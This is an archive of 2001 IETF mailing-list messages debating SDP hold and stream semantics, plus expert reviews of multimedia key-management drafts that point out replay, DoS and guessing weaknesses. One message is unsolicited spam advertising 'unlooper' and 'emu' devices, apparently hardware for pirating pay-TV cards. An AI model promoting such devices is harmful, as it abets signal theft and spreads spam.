> >
> > Right now, once you have answer with port=zero, you cannot re-use that
> > stream during the session. That is, every re-INVITE you send will
> > contain that media line with the port set to zero, but media
> > will never
> > flow to it.
> >
> > It has been brought up (by 3GPP among others) that it might
> > be useful to
> > be able to re-use that stream in a future. If I want to add a
> > new media
> > stream to the session, I can use that media line by changing the port
> > number to a non-zero value in a re-INVITE.
> >
> > Well, I am triggering a new discussion here (I would like to see
> > opinions on this), but I believe that the semantics of the inactive
> > attribute are pretty clear.
> 
> Hmm, I though I had sent out an email on this open issue as well.... I'll
> resend if I don't see it in the archives.
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
--------------6B0BF617707EAF3E476CFCB9
Content-Type: text/x-vcard; charset=us-ascii;
 name="christer.holmberg.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Christer Holmberg
Content-Disposition: attachment;
 filename="christer.holmberg.vcf"

begin:vcard 
n:Holmberg;Christer
tel;cell:+358-40-5604412
tel;work:+358-9-2992943
x-mozilla-html:FALSE
org:Ericsson;IP Multimedia / Advanced Signalling Research Laboratory
adr:;;;;;;
version:2.1
email;internet:christer.holmberg@lmf.ericsson.se
title:System Designer
fn:Christer Holmberg
end:vcard

--------------6B0BF617707EAF3E476CFCB9--


From confctrl-owner  Fri Aug 24 07:46:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA07502
	for confctrl-outgoing; Fri, 24 Aug 2001 07:46:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA07497
	for <confctrl@zephyr.isi.edu>; Fri, 24 Aug 2001 07:46:43 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7OEkhv14205
	for <confctrl@ISI.EDU>; Fri, 24 Aug 2001 07:46:44 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f7OEkbK22167;
	Fri, 24 Aug 2001 16:46:37 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160178.am.ericsson.se [138.85.160.178])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id QAA29803;
	Fri, 24 Aug 2001 16:46:30 +0200 (MET DST)
Message-ID: <3B866C1F.B5FE521F@lmf.ericsson.se>
Date: Fri, 24 Aug 2001 18:00:47 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D665A@DYN-EXCH-001.dynamicsoft.com> <3B865220.A3E171C5@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Christer,

Christer Holmberg wrote:
> 
> Hi,
> 
> I think it would be a good idea to bring this question to the Megaco
> mailing list. There are lots of people working on Media Gateways there,
> so maybe they have some kind of solution for this.

Well, feel free to forward this mail to the MEGACO list.

Regards,

Gonzalo

> 
> I can write down a few lines, and also CC the mail to the SIP list
> (since I guess most of us aren't on the Megaco list...).
> 
> Regards,
> 
> Christer Holmberg
> Ericsson Finland
> 
> Jonathan Rosenberg wrote:
> >
> >
> >
> > > -----Original Message-----
> > > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > > Sent: Thursday, August 23, 2001 10:32 AM
> > > To: Sean Olson (EUS)
> > > Cc: 'Jonathan Rosenberg'; 'Colin Perkins'; 'sip@ietf.org'; 'mmusic'
> > > Subject: Re: [Sip] Re: SDP hold
> > >
> > >
> > > > 5) XXX: no RTP, no RTCP ???
> > > >
> > > > Then what is used to specify the fifth item
> > > > (no RTP, no RTCP)?
> > >
> > > This is currently defined by setting the port number to zero.
> > > That is, I
> > > offer you a particular media stream and you set its port to
> > > zero in the
> > > 200 OK. It means that no RTP and no RTCP will be sent over that media
> > > stream.
> >
> > Well, this is a little bit different. Port zero means "tear down this
> > stream". This would result, for example, in the closure of any windows that
> > were popped up for video rendering of the stream. I think Sean's case is
> > where we neither send RTP/RTCP, but the stream is only temporarily suspended
> > and can be revived. A better question, is whether we really need this
> > additional case. I'd rather limit them to things we really need.
> >
> > >
> > > This brings me to related topic:
> > >
> > > Right now, once you have answer with port=zero, you cannot re-use that
> > > stream during the session. That is, every re-INVITE you send will
> > > contain that media line with the port set to zero, but media
> > > will never
> > > flow to it.
> > >
> > > It has been brought up (by 3GPP among others) that it might
> > > be useful to
> > > be able to re-use that stream in a future. If I want to add a
> > > new media
> > > stream to the session, I can use that media line by changing the port
> > > number to a non-zero value in a re-INVITE.
> > >
> > > Well, I am triggering a new discussion here (I would like to see
> > > opinions on this), but I believe that the semantics of the inactive
> > > attribute are pretty clear.
> >
> > Hmm, I though I had sent out an email on this open issue as well.... I'll
> > resend if I don't see it in the archives.
> >
> > -Jonathan R.
> >
> > ---
> > Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >
> > _______________________________________________
> > Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Fri Aug 24 07:53:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA08076
	for confctrl-outgoing; Fri, 24 Aug 2001 07:53:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08071
	for <confctrl@zephyr.isi.edu>; Fri, 24 Aug 2001 07:52:59 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7OEqmv15713
	for <confctrl@ISI.EDU>; Fri, 24 Aug 2001 07:52:55 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f7OEqkv18305;
	Fri, 24 Aug 2001 16:52:47 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160178.am.ericsson.se [138.85.160.178])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id QAA00139;
	Fri, 24 Aug 2001 16:52:40 +0200 (MET DST)
Message-ID: <3B866D91.66239CD2@lmf.ericsson.se>
Date: Fri, 24 Aug 2001 18:06:57 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Sean Olson <sean.olson@ericsson.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D665A@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: Thursday, August 23, 2001 10:32 AM
> > To: Sean Olson (EUS)
> > Cc: 'Jonathan Rosenberg'; 'Colin Perkins'; 'sip@ietf.org'; 'mmusic'
> > Subject: Re: [Sip] Re: SDP hold
> >
> >
> > > 5) XXX: no RTP, no RTCP ???
> > >
> > > Then what is used to specify the fifth item
> > > (no RTP, no RTCP)?
> >
> > This is currently defined by setting the port number to zero.
> > That is, I
> > offer you a particular media stream and you set its port to
> > zero in the
> > 200 OK. It means that no RTP and no RTCP will be sent over that media
> > stream.
> 
> Well, this is a little bit different. Port zero means "tear down this
> stream". This would result, for example, in the closure of any windows that
> were popped up for video rendering of the stream. I think Sean's case is
> where we neither send RTP/RTCP, but the stream is only temporarily suspended
> and can be revived. A better question, is whether we really need this
> additional case. I'd rather limit them to things we really need.

Yes, I agree that we do not want to resolve theoretical problems. We
have enough "real" problems to work on.

Anyway, if we do not want to *receive* neither RTP nor RCTP we set
c=0.0.0.0
If we do not want to *send* RTP we mark the stream as recvonly or
inactive.
We only have to figure out how to signal the fact that we will not
*send* RCTP.

If, as Jonathan suggested, somebody needs this capability (he or she
should speak up) we can work on it.

Regards,

Gonzalo


> >
> > This brings me to related topic:
> >
> > Right now, once you have answer with port=zero, you cannot re-use that
> > stream during the session. That is, every re-INVITE you send will
> > contain that media line with the port set to zero, but media
> > will never
> > flow to it.
> >
> > It has been brought up (by 3GPP among others) that it might
> > be useful to
> > be able to re-use that stream in a future. If I want to add a
> > new media
> > stream to the session, I can use that media line by changing the port
> > number to a non-zero value in a re-INVITE.
> >
> > Well, I am triggering a new discussion here (I would like to see
> > opinions on this), but I believe that the semantics of the inactive
> > attribute are pretty clear.
> 
> Hmm, I though I had sent out an email on this open issue as well.... I'll
> resend if I don't see it in the archives.
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Fri Aug 24 09:09:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA14251
	for confctrl-outgoing; Fri, 24 Aug 2001 09:09:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA14244
	for <confctrl@zephyr.isi.edu>; Fri, 24 Aug 2001 09:09:28 -0700 (PDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7OG9Tv06327
	for <confctrl@isi.edu>; Fri, 24 Aug 2001 09:09:29 -0700 (PDT)
Received: from mira-sjc5-6.cisco.com (mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7OG9RX04246;
	Fri, 24 Aug 2001 09:09:27 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (sjc-vpn2-198.cisco.com [10.21.112.198])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with ESMTP id AAG17228;
	Fri, 24 Aug 2001 09:09:22 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010824081134.025f8ab8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 24 Aug 2001 09:08:26 -0700
To: rolf.blom@era.ericsson.se, elisabetta.carrara@era.ericsson.se,
        fredrik.lindholm@era.ericsson.se, jari.arkko@ericsson.com
From: Mark Baugher <mbaugher@cisco.com>
Subject: draft-blom-mm-kmgt-00.txt
Cc: msec@securemulticast.org, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi
   I re-read draft-blom-mm-kmgt-00.txt and 
draft-carrara-mm-kmgt-sol-00.txt; I have some comments and questions on the 
first draft now.

   Req 4.1 and 4.2 of 
http://search.ietf.org/internet-drafts/draft-blom-mm-kmgt-00.txt make this 
work relevant to msec since you're concerned with an integrated key 
management for pairwise (e.g., unicast) and group (e.g., multicast) 
applications.  msec's been narrowly focused on SSM, but we're aware that 
group key management may be applied to small groups having many senders, 
which is what draft-blom-mm-kmgt-00.txt considers.  Your draft is timely 
since an msec requirements draft is in the works and your draft is 
concerned with requirements.

   I was confused by sections 2 and 3 since you do not come right out and 
say that your concern is with "security of the media streams" rather than 
"call control security."  In section 4 you say that you are concerned with 
end-to-end security of the media stream (i.e., providing keys for SRTP of 
figure 1).  The relationship between call control and media stream security 
needs more discussion in the draft IMO.

   In section 5, you claim that having more than one party derive the 
session key results in additional round trips.  This is not the case with 
an exchange such as the IKE revised public key encryption exchange.  IKE is 
not appropriate to your requirements of section 6 since IKE is two phase 
and there does not seem to be much need for a two phase key management 
protocol for multimedia session key management.   But I think the revised 
public-key exchange contradicts your point in section 5.1 (I'd like to hear 
what Ran has to say since he was a co-inventor of IKE revised public 
key).  I agree with req. 5.1, however, but not for the reason of increasing 
the round-trip exchanges but because it's the only way to key a group of 
more than two.  I'm not sure about req. 5.2 since I'm not clear on how the 
large-scale size of a PSTN impinges on end-to-end key establishment for 
multimedia sessions.  Although we may rule out IKE, I'd like to say that 
req. 5.5 requires an ISAKMP or IKE approach of separating key management 
from security protocol.

I have some more points on section 5, 6 and 7, but I'll stop here for now 
since the note is already a bit long.

thanks, Mark

   


From confctrl-owner  Sat Aug 25 06:54:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA13343
	for confctrl-outgoing; Sat, 25 Aug 2001 06:54:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA13338
	for <confctrl@zephyr.isi.edu>; Sat, 25 Aug 2001 06:54:30 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7PDsUv29188
	for <confctrl@ISI.EDU>; Sat, 25 Aug 2001 06:54:31 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f7PDsOv24273;
	Sat, 25 Aug 2001 15:54:24 +0200 (MEST)
Received: from lmf.ericsson.se (lmf05397pc.lmf.ericsson.se [131.160.106.10])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f7PDsM527044;
	Sat, 25 Aug 2001 16:54:22 +0300 (EET DST)
Message-ID: <3B87AE26.3B87C9B8@lmf.ericsson.se>
Date: Sat, 25 Aug 2001 16:54:46 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D665A@DYN-EXCH-001.dynamicsoft.com> <3B866D91.66239CD2@lmf.ericsson.se>
Content-Type: multipart/mixed;
 boundary="------------B84E29A9016054B195030B93"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------B84E29A9016054B195030B93
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi,

I am not sure I like the use of c=0.0.0.0 for putting RTCP on "hold",
for the same reason I don't like it for putting RTP on hold: when people
start sending RTP/RTCP using IPv6 we have to define a new mechanism
anyway...

So, I think we should define a long-term solution, which is not
dependent on the IP version - or whatever protocol/network we use. One
though could be to define the RTCP as a separate stream. But then I
guess the problem is to "map" the RTCP to RTP, especially in an
multistream environment.

Regards,

Christer Holmberg
Ericsson Finland




Gonzalo Camarillo wrote:
> 
> Hello,
> 
> Jonathan Rosenberg wrote:
> >
> >
> >
> > > -----Original Message-----
> > > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > > Sent: Thursday, August 23, 2001 10:32 AM
> > > To: Sean Olson (EUS)
> > > Cc: 'Jonathan Rosenberg'; 'Colin Perkins'; 'sip@ietf.org'; 'mmusic'
> > > Subject: Re: [Sip] Re: SDP hold
> > >
> > >
> > > > 5) XXX: no RTP, no RTCP ???
> > > >
> > > > Then what is used to specify the fifth item
> > > > (no RTP, no RTCP)?
> > >
> > > This is currently defined by setting the port number to zero.
> > > That is, I
> > > offer you a particular media stream and you set its port to
> > > zero in the
> > > 200 OK. It means that no RTP and no RTCP will be sent over that media
> > > stream.
> >
> > Well, this is a little bit different. Port zero means "tear down this
> > stream". This would result, for example, in the closure of any windows that
> > were popped up for video rendering of the stream. I think Sean's case is
> > where we neither send RTP/RTCP, but the stream is only temporarily suspended
> > and can be revived. A better question, is whether we really need this
> > additional case. I'd rather limit them to things we really need.
> 
> Yes, I agree that we do not want to resolve theoretical problems. We
> have enough "real" problems to work on.
> 
> Anyway, if we do not want to *receive* neither RTP nor RCTP we set
> c=0.0.0.0
> If we do not want to *send* RTP we mark the stream as recvonly or
> inactive.
> We only have to figure out how to signal the fact that we will not
> *send* RCTP.
> 
> If, as Jonathan suggested, somebody needs this capability (he or she
> should speak up) we can work on it.
> 
> Regards,
> 
> Gonzalo
> 
> > >
> > > This brings me to related topic:
> > >
> > > Right now, once you have answer with port=zero, you cannot re-use that
> > > stream during the session. That is, every re-INVITE you send will
> > > contain that media line with the port set to zero, but media
> > > will never
> > > flow to it.
> > >
> > > It has been brought up (by 3GPP among others) that it might
> > > be useful to
> > > be able to re-use that stream in a future. If I want to add a
> > > new media
> > > stream to the session, I can use that media line by changing the port
> > > number to a non-zero value in a re-INVITE.
> > >
> > > Well, I am triggering a new discussion here (I would like to see
> > > opinions on this), but I believe that the semantics of the inactive
> > > attribute are pretty clear.
> >
> > Hmm, I though I had sent out an email on this open issue as well.... I'll
> > resend if I don't see it in the archives.
> >
> > -Jonathan R.
> >
> > ---
> > Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> 
> --
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027
> USA                              Gonzalo.Camarillo@ericsson.com
> 
> _______________________________________________
> Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
--------------B84E29A9016054B195030B93
Content-Type: text/x-vcard; charset=us-ascii;
 name="christer.holmberg.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Christer Holmberg
Content-Disposition: attachment;
 filename="christer.holmberg.vcf"

begin:vcard 
n:Holmberg;Christer
tel;cell:+358-40-5604412
tel;work:+358-9-2992943
x-mozilla-html:FALSE
org:Ericsson;IP Multimedia / Advanced Signalling Research Laboratory
adr:;;;;;;
version:2.1
email;internet:christer.holmberg@lmf.ericsson.se
title:System Designer
fn:Christer Holmberg
end:vcard

--------------B84E29A9016054B195030B93--


From confctrl-owner  Sun Aug 26 21:15:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA23985
	for confctrl-outgoing; Sun, 26 Aug 2001 21:15:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA23980
	for <confctrl@zephyr.isi.edu>; Sun, 26 Aug 2001 21:15:08 -0700 (PDT)
Received: from star1.baremetal.com (star1.baremetal.com [216.86.113.246])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7R4F9v04143
	for <confctrl@isi.edu>; Sun, 26 Aug 2001 21:15:09 -0700 (PDT)
Received: (from spawndevices@localhost)
	by star1.baremetal.com (8.9.3/8.9.3) id VAA07188;
	Sun, 26 Aug 2001 21:21:59 -0700
Date: Sun, 26 Aug 2001 21:21:59 -0700
Message-Id: <200108270421.VAA07188@star1.baremetal.com>
To: confctrl@ISI.EDU
Subject: This Weekends Sale... All Combo Pkg\\\'s $79.99
From: "Spawn Devices" <info@spawndevices.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Well it seems the www.spawndevices.com $15 - $25 buck boots and emu\'s made a few of you happy.... good... glad to hear it... Well the special for you this weekend is all Combo Packages are $79.99... Your choice an Emu or a Bootstrap (DPBB) with either a Dual Crystal ISO or a WT2-X unlooper... your call. 
Hope you all Have a Great Weekend... and thanks for the great response on the product lines. {:-)
PLEASE REMEMBER TO LOG ON to www.spawndevices.com and enter to win anyone of our great products...FREE WEEKLY DRAWS...

www.spawndevices.com
*********************************************************
To be removed from our mailing list please click on this link and follow the directions on the webpage; http://www.spawndevices.com/remove.phtml

From confctrl-owner  Sun Aug 26 22:16:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA26499
	for confctrl-outgoing; Sun, 26 Aug 2001 22:16:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA26491
	for <confctrl@zephyr.isi.edu>; Sun, 26 Aug 2001 22:16:17 -0700 (PDT)
Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7R5GIv10273
	for <confctrl@isi.edu>; Sun, 26 Aug 2001 22:16:18 -0700 (PDT)
Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62])
	by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f7R5GCe27608;
	Mon, 27 Aug 2001 01:16:12 -0400
Received: from ornavella.watson.ibm.com (ornavella.watson.ibm.com [9.2.16.80])
	by sp1n189at0.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f7R5GBn45090;
	Mon, 27 Aug 2001 01:16:12 -0400
Received: (from canetti@localhost)
	by ornavella.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) id BAA38700;
	Mon, 27 Aug 2001 01:16:11 -0400
Date: Mon, 27 Aug 2001 01:16:11 -0400
From: Ran Canetti <canetti@watson.ibm.com>
Message-Id: <200108270516.BAA38700@ornavella.watson.ibm.com>
To: elisabetta.carrara@era.ericsson.se, fredrik.lindholm@era.ericsson.se,
        jari.arkko@ericsson.com, mbaugher@cisco.com, rolf.blom@era.ericsson.se
Subject: Re:  [MSEC] draft-blom-mm-kmgt-00.txt
Cc: confctrl@ISI.EDU, msec@securemulticast.org
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Here are some more remarks I had (in addition to Mark's) on the two drafts
that were presented in the msec meeting in London: 

draft-blom-mm-kmgt-00.txt 
draft-carrara-mm-kmgt-sol-00.txt

(Reminder: In a show of hands following a discussion following the presentation,
there seemed to be clear consensus to take up these drafs in msec.)

Best,

Ran



Generally, I liked the clear and concise way in which both drafts were
written. the requirements draft is especially an improvement over other key 
management protocols (both unicast and multicast) where the requirements are 
not clearly stated. Still, I have a number of questions and remarks: 

* First, a general remark: Although it is not stated explicitly in the 
requirements document, all your key-exchange protocols seem to assume that the 
two parties are time-synchronized and the protocols are based on timestamps for
freshness. This indeed simplifies the protocols and reduces the number of
rounds. But it puts much trust in the timing mechanism. Is this a concious
choice? In particular:
  -What is the accuracy (or time-window) that you had in mind for the parties
  to accept a received timestamp as "fresh"? 
  -Do you think that this time window can be both wide enough to allow for
  reasonable interoperability and narrow enough to avoid attacks?
These are serious questions that should be answered per scenario.  

Note that most other ietf-standardized key exchange protocols (ike,ssl,ssh)
dont use a timestamp mechanism. instead they use random nonces for freshness. 
This makes the protocol more complex (more state, more flows) but it also 
makes for more robust protocols. 

* Regarding the requirements draft:
1) There are a couple security concerns that are missing in the requirements 
document. One is anonymity (ie, identity protection) against a passive
eavesdropper. Is this a concern for you? if so, do you want to protect the 
identity of the initiator? responder? both?
A related concern is identity protection against an active attacker that
impersonates one of the parties. For instance, assume an attacker
impersonates an initiator and interacts with a responder for the sole
purpose of obtaining the identity of the responder. a similar attack can be
mounted against an initiator. Is this a concern for you?
(It is impossible to protect both the initiator and the responder against
such an active attack, at least when standard techniques are used. But 
it's possible to protect one of the two, by making sure that the other party
reveals its identity first. Typically, it is better to protect the identity
of the client, who is typically the initiator. 

Are you willing to pay in number of rounds and complexity to satisfy these
concerns?

2) I'm confused about your description of the SIP setting, where some
intermediaries need to be given access to certain fields in the packets, and
the statements that this limits the end-to-end security of the key exchange.
I'm not familiar with the workings of the SIP protocol, but does this protocol
prevent a completely end-to-end KE protocol where the cryptographic payload
is strictly contained in the message fields than need not be accessed by
intermediaries? ie, is there an inherent contradiction to end-to-end
security or is it just a technicality that can be overcome?

* Some remarks regarding the protocols draft:
(Other remarks can be postponed to a later stage.)

1) the protocols do not seem to protect against DoS attacks. 
A standard technique to mitigate the problem is to use a
cookie-response mechanism, where the responder makes sure that there is a
"real party" out there before it engages in expensive public-key operations
or starts to maintain state. the current protocols dont do that - the responder 
engages in those expensive activities right after receiving the first
message (which could be replayed arbitrarily, within the same time unit).

Adding the cookie mechanism would result in one more round-trip.
(In fact, one more flow may be enough). Did you weigh one against the other?

2)  Only one of the protocols (the DH one) provides forward secrecy (PFS). 
Indeed, the computational cost of this protocol is the highest.
Is forward secrecy a concern for you? is it worth the extra cost?
this should be discussed. possible outcomes may be to either mandate it 
(as IKE did) or leave it optional (as SSL did) or decide it is not a concern 
and leave it out. 

3) Pre-shared key mode: Hashing the key k_m in B's response is a bad idea.
It ruins the security of the protocol since it potentially provides the
attacker with a way to verify whether some guesses regarding the potential 
value of k_m are correct. A more robust cryptographic practice (and one that
can be proven secure) is to first derive a special key k_a from k_m,
and then have B send PRF_{k_a}(ID_a || ID_b || T), where PRF is a
pseudorandom function, or a MAC function. This way the security of k_m 
remains intact against such guessing attacks.

This remark holds also wrt the public-key encryption mode.

4) PKE mode: the identity of the sender, IDa, must always be included in the 
encrypted stringin A's message. Otherwise the first message 
may potentially be replayed by an attacker.

5) Similarly, in the DH exchange, the recipient's identity must be included
in the signed text in both flows. Otherwise some spoofing attacks may be
possible.

6) The draft whould provide guidelines regarding key lifetimes and
the rekeying procedures. When should a key expire? after an amount of data
encrypted? time elapsed? combination of both? can that be a parameter
decided in the session setup?
also, do you enforce one type of rekeying only? note that if no PFS is
necessary in the rekeying process then it is possible to rekey without any 
additional communication. (Each party locally derives a new key from the old
one, say using the usual key derivation method.)


* Finally, both drafts seem to concentrate on the unicast case and only very
briefly sketch the 12M/M2M cases. This is ok, 
since we have to solve that case first. but please bear in mind that the move 
to the one-to-many (or even one-to-few) case is a considerable step, which 
requires a somewhat different appeoach and tools. It does not necessarily 
have to be much more heavyweight, but it's quite different. In particular, 
a couple questions that you may want to think about:

 - Do you want to have a "group membership controller" that is different
   than the data source? Or do you think of the data source as inherently
   the same entity as the membership controller?

 - Do you want to deal with dynamic membership, ie people join and leave
   during the lifetime of the group, or do you want to deal only with groups
